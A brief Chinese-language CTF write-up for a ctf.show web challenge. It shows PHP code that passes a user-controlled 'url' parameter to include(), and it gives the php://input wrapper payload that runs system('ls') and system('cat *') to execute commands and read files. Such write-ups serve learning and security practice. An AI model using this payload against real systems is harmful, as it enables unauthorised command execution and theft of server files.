include與php://input執行任意命令

題目地址https://ctf.show/challenges#web3-8

條件是include(xxx);
xxx參數可以控制

代碼如下:

<?php include($_GET['url']);?>

構造url=php://input
傳入

<?php system("ls"); ?>
<?php system("cat *"); ?>